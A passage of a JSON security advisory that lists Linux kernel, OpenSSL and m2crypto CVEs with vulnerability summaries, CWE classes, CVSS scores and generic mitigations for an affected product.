          "text": "The POLY1305 MAC (message authentication code) implementation contains a bug that might corrupt the internal state of applications running on PowerPC CPU based platforms if the CPU provides vector instructions.\r\n\r\nIf an attacker can influence whether the POLY1305 MAC algorithm is used, the application state might be corrupted with various application dependent consequences.\r\n\r\nThe POLY1305 MAC (message authentication code) implementation in OpenSSL for PowerPC CPUs restores the contents of vector registers in a different order than they are saved. Thus the contents of some of these vector registers are corrupted when returning to the caller. The vulnerable code is used only on newer PowerPC processors supporting the PowerISA 2.07 instructions.\r\n\r\nThe consequences of this kind of internal application state corruption can be various - from no consequences, if the calling application does not depend on the contents of non-volatile XMM registers at all, to the worst consequences, where the attacker could get complete control of the application process. However unless the compiler uses the vector registers for storing pointers, the most likely consequence, if any, would be an incorrect result of some application dependent calculations or a crash leading to a denial of service.\r\n\r\nThe POLY1305 MAC algorithm is most frequently used as part of the CHACHA20-POLY1305 AEAD (authenticated encryption with associated data) algorithm. The most common usage of this AEAD cipher is with TLS protocol versions 1.2 and 1.3. If this cipher is enabled on the server a malicious client can influence whether this AEAD cipher is used. This implies that TLS server applications using OpenSSL can be potentially impacted. However\r\nwe are currently not aware of any concrete application that would be affected by this issue therefore we consider this a Low severity security issue.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2023-6129"
    },
    {
      "cve": "CVE-2023-6237",
      "cwe": {
        "id": "CWE-400",
        "name": "Uncontrolled Resource Consumption"
      },
      "notes": [
        {
          "category": "summary",
          "text": "Checking excessively long invalid RSA public keys may take a long time. Applications that use the function EVP_PKEY_public_check() to check RSA public keys may experience long delays. Where the key that is being checked has been obtained from an untrusted source this may lead to a Denial of Service. When function EVP_PKEY_public_check() is called on RSA public keys, a computation is done to confirm that the RSA modulus, n, is composite. For valid RSA keys, n is a product of two or more large primes and this computation completes quickly. However, if n is an overly large prime, then this computation would take a long time. An application that calls EVP_PKEY_public_check() and supplies an RSA key obtained from an untrusted source could be vulnerable to a Denial of Service attack. The function EVP_PKEY_public_check() is not called from other OpenSSL functions however it is called from the OpenSSL pkey command line application. For that reason that application is also vulnerable if used with the \u0027-pubin\u0027 and \u0027-check\u0027 options on untrusted data. The OpenSSL SSL/TLS implementation is not affected by this issue. The OpenSSL 3.0 and 3.1 FIPS providers are affected by this issue.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.9,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2023-6237"
    },
    {
      "cve": "CVE-2023-6817",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "A use-after-free vulnerability in the Linux kernel\u0027s netfilter: nf_tables component can be exploited to achieve local privilege escalation.\n\nThe function nft_pipapo_walk did not skip inactive elements during set walk which could lead double deactivations of PIPAPO (Pile Packet Policies) elements, leading to use-after-free.\n\nWe recommend upgrading past commit 317eb9685095678f2c9f5a8189de698c5354316a.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2023-6817"
    },
    {
      "cve": "CVE-2023-6931",
      "cwe": {
        "id": "CWE-787",
        "name": "Out-of-bounds Write"
      },
      "notes": [
        {
          "category": "summary",
          "text": "A heap out-of-bounds write vulnerability in the Linux kernel\u0027s Performance Events system component can be exploited to achieve local privilege escalation.\n\nA perf_event\u0027s read_size can overflow, leading to an heap out-of-bounds increment or write in perf_read_group().\n\nWe recommend upgrading past commit 382c27f4ed28f803b1f1473ac2d8db0afc795a1b.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2023-6931"
    },
    {
      "cve": "CVE-2023-6932",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "A use-after-free vulnerability in the Linux kernel\u0027s ipv4: igmp component can be exploited to achieve local privilege escalation.\n\nA race condition can be exploited to cause a timer be mistakenly registered on a RCU read locked object which is freed by another thread.\n\nWe recommend upgrading past commit e2b706c691905fe78468c361aaabc719d0a496f1.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2023-6932"
    },
    {
      "cve": "CVE-2023-28746",
      "cwe": {
        "id": "CWE-1342",
        "name": "Information Exposure through Microarchitectural State after Transient Execution"
      },
      "notes": [
        {
          "category": "summary",
          "text": "Information exposure through microarchitectural state after transient execution from some register files for some Intel(R) Atom(R) Processors may allow an authenticated user to potentially enable information disclosure via local access.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2023-28746"
    },
    {
      "cve": "CVE-2023-45898",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "The Linux kernel before 6.5.4 has an es1 use-after-free in fs/ext4/extents_status.c, related to ext4_es_insert_extent.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2023-45898"
    },
    {
      "cve": "CVE-2023-47233",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "The brcm80211 component in the Linux kernel through 6.5.10 has a brcmf_cfg80211_detach use-after-free in the device unplugging (disconnect the USB by hotplug) code. For physically proximate attackers with local access, this \"could be exploited in a real world scenario.\" This is related to brcmf_cfg80211_escan_timeout_worker in drivers/net/wireless/broadcom/brcm80211/brcmfmac/cfg80211.c.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 4.3,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:P/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2023-47233"
    },
    {
      "cve": "CVE-2023-50781",
      "cwe": {
        "id": "CWE-327",
        "name": "Use of a Broken or Risky Cryptographic Algorithm"
      },
      "notes": [
        {
          "category": "summary",
          "text": "A flaw was found in m2crypto. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2023-50781"
    },
    {
      "cve": "CVE-2023-52447",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "bpf: Defer the free of inner map when necessary when updating or deleting an inner map in map array or map htab, the map may still be accessed by non-sleepable program or sleepable program. However bpf_map_fd_put_ptr() decreases the ref-counter of the inner map directly through bpf_map_put(), if the ref-counter is the last one (which is true for most cases), the inner map will be freed by ops-\u003emap_free() in a kworker. But for now, most .map_free() callbacks don\u0027t use synchronize_rcu() or its variants to wait for the elapse of a RCU grace period, so after the invocation of ops-\u003emap_free completes, the bpf program which is accessing the inner map may incur use-after-free vulnerability.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 3.9,
            "baseSeverity": "LOW",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2023-52447"
    },
    {
      "cve": "CVE-2023-52458",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nblock: add check that partition length needs to be aligned with block size",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2023-52458"
    },
    {
      "cve": "CVE-2023-52614",
      "cwe": {
        "id": "CWE-120",
        "name": "Buffer Copy without Checking Size of Input (\u0027Classic Buffer Overflow\u0027)"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nPM / devfreq: Fix buffer overflow in trans_stat_show",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2023-52614"
    },
    {
      "cve": "CVE-2023-52620",
      "cwe": {
        "id": "CWE-99",
        "name": "Improper Control of Resource Identifiers (\u0027Resource Injection\u0027)"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nnetfilter: nf_tables: disallow timeout for anonymous sets\r\n\r\nNever used from userspace, disallow these parameters.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 2.5,
            "baseSeverity": "LOW",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2023-52620"
    },
    {
      "cve": "CVE-2024-0727",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "Issue summary: Processing a maliciously formatted PKCS12 file may lead OpenSSL to crash leading to a potential Denial of Service attack Impact summary: Applications loading files in the PKCS12 format from untrusted sources might terminate abruptly. A file in PKCS12 format can contain certificates and keys and may come from an untrusted source. The PKCS12 specification allows certain fields to be NULL, but OpenSSL does not correctly check for this case. This can lead to a NULL pointer dereference that results in OpenSSL crashing. If an application processes PKCS12 files from an untrusted source using the OpenSSL APIs then that application will be vulnerable to this issue. OpenSSL APIs that are vulnerable to this are: PKCS12_parse(), PKCS12_unpack_p7data(), PKCS12_unpack_p7encdata(), PKCS12_unpack_authsafes() and PKCS12_newpass(). We have also fixed a similar issue in SMIME_write_PKCS7(). However since this function is related to writing data we do not consider it security significant. The FIPS modules in 3.2, 3.1 and 3.0 are not affected by this issue.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-0727"
    },
    {
      "cve": "CVE-2024-2511",
      "cwe": {
        "id": "CWE-400",
        "name": "Uncontrolled Resource Consumption"
      },
      "notes": [
        {
          "category": "summary",
          "text": "Some non-default TLS server configurations can cause unbounded memory growth when processing TLSv1.3 sessions. An attacker may exploit certain server configurations to trigger unbounded memory growth that would lead to a Denial of Service This problem can occur in TLSv1.3 if the non-default SSL_OP_NO_TICKET option is being used (but not if early_data support is also configured and the default anti-replay protection is in use). In this case, under certain conditions, the session cache can get into an incorrect state and it will fail to flush properly as it fills. The session cache will continue to grow in an unbounded manner. A malicious client could deliberately create the scenario for this failure to force a Denial of Service. It may also happen by accident in normal operation. This issue only affects TLS servers supporting TLSv1.3. It does not affect TLS clients. The FIPS modules in 3.2, 3.1 and 3.0 are not affected by this issue. OpenSSL 1.0.2 is also not affected by this issue.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 3.7,
            "baseSeverity": "LOW",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-2511"
    },
    {
      "cve": "CVE-2024-5535",
      "cwe": {
        "id": "CWE-200",
        "name": "Exposure of Sensitive Information to an Unauthorized Actor"
      },
      "notes": [
        {
          "category": "summary",
          "text": "Issue summary: Calling the OpenSSL API function SSL_select_next_proto with an empty supported client protocols buffer may cause a crash or memory contents to be sent to the peer. Impact summary: A buffer overread can have a range of potential consequences such as unexpected application beahviour or a crash. In particular this issue could result in up to 255 bytes of arbitrary private data from memory being sent to the peer leading to a loss of confidentiality. However, only applications that directly call the SSL_select_next_proto function with a 0 length list of supported client protocols are affected by this issue. This would normally never be a valid scenario and is typically not under attacker control but may occur by accident in the case of a configuration or programming error in the calling application. The OpenSSL API function SSL_select_next_proto is typically used by TLS applications that support ALPN (Application Layer Protocol Negotiation) or NPN (Next Protocol Negotiation). NPN is older, was never standardised and is deprecated in favour of ALPN. We believe that ALPN is significantly more widely deployed than NPN. The SSL_select_next_proto function accepts a list of protocols from the server and a list of protocols from the client and returns the first protocol that appears in the server list that also appears in the client list. In the case of no overlap between the two lists it returns the first item in the client list. In either case it will signal whether an overlap between the two lists was found. In the case where SSL_select_next_proto is called with a zero length client list it fails to notice this condition and returns the memory immediately following the client list pointer (and reports that there was no overlap in the lists). This function is typically called from a server side application callback for ALPN or a client side application callback for NPN. In the case of ALPN the list of protocols supplied by the client is guaranteed by libssl to never be zero in length. The list of server protocols comes from the application and should never normally be expected to be of zero length. In this case if the SSL_select_next_proto function has been called as expected (with the list supplied by the client passed in the client/client_len parameters), then the application will not be vulnerable to this issue. If the application has accidentally been configured with a zero length server list, and has accidentally passed that zero length server list in the client/client_len parameters, and has additionally failed to correctly handle a \"no overlap\" response (which would normally result in a handshake failure in ALPN) then it will be vulnerable to this problem. In the case of NPN, the protocol permits the client to opportunistically select a protocol when there is no overlap. OpenSSL returns the first client protocol in the no overlap case in support of this. The list of client protocols comes from the application and should never normally be expected to be of zero length. However if the SSL_select_next_proto function is accidentally called with a client_len of 0 then an invalid memory pointer will be returned instead. If the application uses this output as the opportunistic protocol then the loss of confidentiality will occur. This issue has been assessed as Low severity because applications are most likely to be vulnerable if they are using NPN instead of ALPN - but NPN is not widely used. It also requires an application configuration or programming error. Finally, this issue would not typically be under attacker control making active exploitation unlikely. The FIPS modules in 3.3, 3.2, 3.1 and 3.0 are not affected by this issue. Due to the low severity of this issue we are not issuing new releases of OpenSSL at this time. The fix will be included in the next releases when they become available.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.9,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-5535"
    },
    {
      "cve": "CVE-2024-9143",
      "cwe": {
        "id": "CWE-787",
        "name": "Out-of-bounds Write"
      },
      "notes": [
        {
          "category": "summary",
          "text": "Issue summary: Use of the low-level GF(2m) elliptic curve APIs with untrusted explicit values for the field polynomial can lead to out-of-bounds memory reads or writes. Impact summary: Out of bound memory writes can lead to an application crash or even a possibility of a remote code execution, however, in all the protocols involving Elliptic Curve Cryptography that we\u0027re aware of, either only \"named curves\" are supported, or, if explicit curve parameters are supported, they specify an X9.62 encoding of binary (GF(2m)) curves that can\u0027t represent problematic input values. Thus the likelihood of existence of a vulnerable application is low. In particular, the X9.62 encoding is used for ECC keys in X.509 certificates, so problematic inputs cannot occur in the context of processing X.509 certificates. Any problematic use-cases would have to be using an \"exotic\" curve encoding. The affected APIs include: EC_GROUP_new_curve_GF2m(), EC_GROUP_new_from_params(), and various supporting BN_GF2m_*() functions. Applications working with \"exotic\" explicit binary (GF(2m)) curve parameters, that make it possible to represent invalid field polynomials with a zero constant term, via the above or similar APIs, may terminate abruptly as a result of reading or writing outside of array bounds. Remote code execution cannot easily be ruled out. The FIPS modules in 3.3, 3.2, 3.1 and 3.0 are not affected by this issue.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 4.3,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-9143"
    },
    {
      "cve": "CVE-2024-22099",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "NULL Pointer Dereference vulnerability in Linux Linux kernel kernel on Linux, x86, ARM (net, bluetooth modules) allows Overflow Buffers. This vulnerability is associated with program files /net/bluetooth/rfcomm/core.C.\n\nThis issue affects Linux kernel: v2.6.12-rc2.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 6.3,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-22099"
    },
    {
      "cve": "CVE-2024-23307",
      "cwe": {
        "id": "CWE-190",
        "name": "Integer Overflow or Wraparound"
      },
      "notes": [
        {
          "category": "summary",
          "text": "Integer Overflow or Wraparound vulnerability in Linux Linux kernel kernel on Linux, x86, ARM (md, raid, raid5 modules) allows Forced Integer Overflow.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 4.4,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-23307"
    },
    {
      "cve": "CVE-2024-23848",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel through 6.7.1, there is a use-after-free in cec_queue_msg_fh, related to drivers/media/cec/core/cec-adap.c and drivers/media/cec/core/cec-api.c.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-23848"
    },
    {
      "cve": "CVE-2024-24857",
      "cwe": {
        "id": "CWE-362",
        "name": "Concurrent Execution using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027)"
      },
      "notes": [
        {
          "category": "summary",
          "text": "A race condition was found in the Linux kernel\u0027s net/bluetooth device driver in conn_info_{min,max}_age_set() function. This can result in integrity overflow issue, possibly leading to bluetooth connection abnormality or denial of service.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
